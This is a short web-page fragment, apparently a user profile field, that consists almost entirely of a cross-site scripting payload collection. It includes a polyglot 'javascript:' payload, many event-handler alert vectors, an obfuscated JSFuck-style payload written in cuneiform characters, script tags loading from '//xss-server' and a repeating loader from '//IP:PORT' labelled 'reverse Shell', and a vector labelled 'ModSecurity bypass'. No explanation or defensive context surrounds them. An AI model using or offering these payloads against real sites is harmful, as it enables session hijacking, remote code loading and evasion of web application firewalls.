asbeabi's picture
Create jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e Hi'>"<script src="//xss-server"></script><x="{9*9}\r\n%0a%09%0d<svg\onload=confirm(1)> <x/onclick=alert``> "><img src onerror=alert(1)> <--`<img/src=` onerror=alert(3)> --!> " autofocus onfocus=alert(4) fragment=" " onclick=alert`5` fragment=" <details/open ontoggle=alert(6)> <svg/onload=alert`7`> ><svg/onload=confirm``>"@yahoo.com </div><img/**/src/**/onerror=alert(1)> <Svg%K9OnLoad=%7Krompt%6K1%6K> "'`><svg/onload=alert`1234`> π’€€='',π’‰Ί=!π’€€+π’€€,𒀃=!π’‰Ί+π’€€,π’‡Ί=π’€€+{},π’Œ=π’‰Ί[π’€€++], π’€Ÿ=π’‰Ί[π’ˆ«=π’€€],𒀆=++π’ˆ«+π’€€,𒁹=π’‡Ί[π’ˆ«+𒀆],π’‰Ί[𒁹+=π’‡Ί[π’€€] +(π’‰Ί.𒀃+π’‡Ί)[π’€€]+𒀃[𒀆]+π’Œ+π’€Ÿ+π’‰Ί[π’ˆ«]+𒁹+π’Œ+π’‡Ί[π’€€] +π’€Ÿ][𒁹](𒀃[π’€€]+𒀃[π’ˆ«]+π’‰Ί[𒀆]+π’€Ÿ+π’Œ+"(π’€€)")() <script>setInterval(function(){d=document;z=d.createElement("script");z.src="//IP:PORT";d.body.appendChild(z)},0)</script> ==> reverse Shell <iframe/src=j%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0t:prompt `1`> --> test it "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> --> ModSecurity bypass
6dd6b25